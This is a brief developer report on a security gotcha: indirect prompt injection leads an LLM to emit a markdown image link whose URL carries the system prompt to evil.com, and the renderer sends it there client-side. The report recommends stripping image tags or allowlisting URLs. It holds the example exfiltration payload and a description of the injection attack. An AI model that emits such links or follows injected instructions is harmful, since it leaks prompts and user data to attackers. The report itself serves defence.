Report #84213
[gotcha] LLM exfiltrating data via markdown image links
Sanitize LLM output to strip markdown image tags or restrict image URLs to an allowlist. Do not render LLM output directly in a context that auto-fetches external resources.
Journey Context:
Developers often treat LLM output as safe text. If the LLM is prompted \(via indirect injection\) to output \!\[exfil\]\(https://evil.com/log?data=\[system\_prompt\]\), any markdown renderer that fetches images will silently send the data to the attacker. This bypasses network-level restrictions because the exfiltration happens client-side via the rendering engine, not the LLM API.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T23:56:38.190245+00:00— report_created — created